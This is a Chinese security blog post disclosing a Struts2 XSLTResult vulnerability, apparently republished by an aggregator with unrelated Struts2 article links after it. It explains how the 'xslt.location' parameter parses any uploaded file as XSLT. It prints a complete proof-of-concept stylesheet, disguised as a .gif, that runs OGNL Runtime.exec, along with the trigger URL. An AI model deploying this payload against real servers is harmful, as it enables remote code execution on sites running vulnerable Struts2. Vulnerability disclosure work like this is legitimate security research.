struts2框架XSLTResult本地文件代码执行漏洞

标签: 安全 | 发表时间:2012-06-20 22:56 | 作者:空虚浪子心
出处:http://www.blogread.cn/it/

标签:   struts2   XSLTResult

这是个没有人公布过的漏洞,偶尔看代码发现的。事实上,这段代码用的人不多,需要同时满足两个情况,才可以搞。我猜测,发出struts2远程代码执行的那个大牛,不可能没发现这么弱智的漏洞。所以,要么是有原因不能公布,要么就是卖了,那就好,这次我首发,哈哈哈!
先讲讲原理:
struts2允许action有多种返回类型,其中包括XSLT类型,这种类型允许接受用户提交一个文件地址,并且去解析它为XSLT文件,无论扩展名是什么。
这是XSLTResult文件代码:
http://svn.apache.org/repos/asf/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/xslt/XSLTResult.java
//获取用户提交的"xslt.location"的值
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
path = pathFromRequest;
URL resource = ServletActionContext.getServletContext().getResource(path);
//解析用户提交的文件地址为xslt
templates = factory.newTemplates(new StreamSource(resource.openStream()));

而XSLT解析,会允许执行java静态方法,所以,只要上传一个文件在服务器上,例如
/upload/7758521.gif

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		 version="1.0" xmlns:ognl="ognl.Ognl">
	<xsl:template match="/">
		<html> 
			<body> 
			   <h2>hacked by kxlzx</h2> 
			   <h2>http://www.inbreak.net</h2> 
			   <exp>
					 <xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec(&quot;calc&quot;)', '')"/>
				</exp>
			</body> 
		</html> 
	</xsl:template> 
</xsl:stylesheet>

这个xsl文件解析时,会调用ognl中的

ognl:getValue('@Runtime@getRuntime().exec("calc")', '')

导致执行任意代码。
事实上,XSLT解析,可以执行任意代码,并非只是java的,php也可以,只是大多数人不注意罢了,我在之前,还看到很多关于XSLT执行代码的文章,当然不是为了安全研究。
可能这个知识点知道的不多,导致没有人发现struts2这个明显的安全问题。
八卦一下,这个漏洞和ognl木有任何关系,其实是因为正常的Runtime.getRuntime().exec()太麻烦了,ognl用起来非常方便,
而struts2必然自带ognl包,所以我跟随大牛脚步,坚定无比的执行ognl语句。

文件上传后,要找到一个返回xslt的action才行,XSLTResult的作用就是把action返回,直接转换为xml,便于传输。
通常在ajax的时候,用这个会比较常见,所以看到xml返回时,就要特别注意了。
假设一个xslt的返回action地址为

http://www.inbreak.net/xslt.action

我们就可以提交

http://www.inbreak.net/xslt.action?xslt.location=upload/a.gif


从原理上,看出来这个漏洞需要至少满足两个情况:
1、网站使用了XSLTResult返回
这一点不好验证,具体来说,这种返回是为了处理“对象-xml”的,就是把一个对象,封装成xml,然后扔出来。那么具体的业务逻辑,就要看网站的功能了。
2、要有上传文件功能
因为必须在web目录下的文件,才可以搞,他只能load到web下的,往前,就不行了。但是好在不限制文件名和扩展名,还是有很大机会的。
ps:谁帮忙申请个CVE。。。我不会鸟语,这个没申请过,当然,你用自己的名字申请也无所谓,只要留个链接就好。

您可能还对下面的文章感兴趣:

  1. STRUTS2类型转换错误导致OGNL表达式注入漏洞分析 [2012-06-20 22:56:53]


相关 [struts2 框架 xsltresult] 推荐:

struts2框架XSLTResult本地文件代码执行漏洞

- - IT技术博客大学习
标签:   struts2   XSLTResult. 这是个没有人公布过的漏洞,偶尔看代码发现的. 事实上,这段代码用的人不多,需要同时满足两个情况,才可以搞. 我猜测,发出struts2远程代码执行的那个大牛,不可能没发现这么弱智的漏洞. 所以,要么是有原因不能公布,要么就是卖了,那就好,这次我首发,哈哈哈.

Spring MVC 和 Struts2

- - CSDN博客架构设计推荐文章
Web层面的框架学习了三个Struts1和2,SpringMVC,那他们之间肯定存在一个优劣和适用的环境,Struts1和2的异同点我已经做过对比《 Struts1和Struts2》,这篇将对比下Struts2和SpringMVC的异同,下面数据基本来源于网络,本人是搜集整理所得,供大家参考. 一个项目使用什么样的技术,决定的因素很多,我所能想到的有:对系统的性能、开发的效率、团队学习的成本、业务场景等,下面尽量从这几个方面入手,来分析比较下他们之间存在的优劣.

struts2的标签tag

- - CSDN博客编程语言推荐文章
二、 常用的Struts 2.0的标志(Tag)介绍. 在上一篇文章《 为Struts 2.0做好准备》中,我过于详细地介绍了Struts 2.0开发环境和运行环境的配置,所以,本文很少涉及的以上两方面的细节. 如果,您看完《 为Struts 2.0做好准备》后,还有什么不明白,或者没法运行文中例子,请联系我.

Struts2常用标签总结

- - CSDN博客推荐文章
1.Struts2的作用 . Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性. Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求. Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说strtus2提供了大部分标签,可以在各种表现技术中使用.

Struts2 标签库讲解

- - CSDN博客架构设计推荐文章
Struts2 标签库讲解. 转自:http://blog.163.com/hzd_love/blog/static/131999881201082111852520/. 要使用Struts2的标签,只需要在JSP页面添加如下一行定义即可:. struts2的标签共分为五大类:. 1)条件标签:用于执行基本的条件流转.

struts1,struts2,springMVC终极对比

- - CSDN博客Web前端推荐文章
         最近做项目用到了struts2,之前一直是用struts1和springMVC. 感觉到了struts2从很大程度上和这两个还是有很大区别的,所以今天搜集了些资料,给他们做一下对比.          Struts1官方已经停止更新,现在用的也比较少,这里主要讲一下struts2和struts1比较都有哪些不同和进步.

Struts2中Action自动接收参数

- - CSDN博客架构设计推荐文章
Struts2中Action接收参数的方法主要有以下三种:. 1.使用Action的属性接收参数:(通过属性驱动式).     a.定义:在Action类中定义属性,创建get和set方法;.     b.接收:通过属性接收参数,如:userName;.     c.发送:使用属性名传递参数,如:user1!add?userName=Magci;.

struts2的核心和工作原理

- - CSDN博客架构设计推荐文章
    在学习struts2之前,首先我们要明白使用struts2的目的是什么.     Struts设计的第一目标就是使MVC模式应用于web程序设计. 在这儿MVC模式的好处就不在提了.     Struts2有两方面的技术优势,一是所有的Struts2应用程序都是基于client/server HTTP交换协议,The Java Servlet API揭示了Java Servlet只是Java API的一个很小子集,这样我们可以在业务逻辑部分使用功能强大的Java语言进行程序设计.

Struts2获取request三种方法

- - 企业架构 - ITeye博客
Struts2获取request三种方法. struts2里面有三种方法可以获取request,最好使用ServletRequestAware接口通过IOC机制注入Request对象. 在Action中获取request方法一:. 在Action中的代码:. 在JSP页面中获取其中的值:. 方法二:通过ServletActionContext类来获取,使用struts2经验如果处理get传参是中文,只能使用该方法进行处理乱码问题.

Struts2、Spring、Hibernate 高效开发的最佳实践

- senyo - IBM developerWorks 中国 : 文档库
Struts2、Spring、Hibernate(SSH)是最常用的 Java EE Web 组件层的开发技术搭配,网络中和许多 IT 技术书籍中都有它们的开发教程,但是通常的教程都会让很多程序员陷入痛苦的配置与修改配置的过程. 本文利用 SSH 中的技术特性,利用 Java 反射技术,按照规约优于配置的原理,基于 SSH 设定编写了一个通用开发框架,这使得开发者可以专注于业务逻辑的开发,而不用随着业务增加而添加或修改任何配置,并且对于权限控制和日志记录也提供了方便的接口.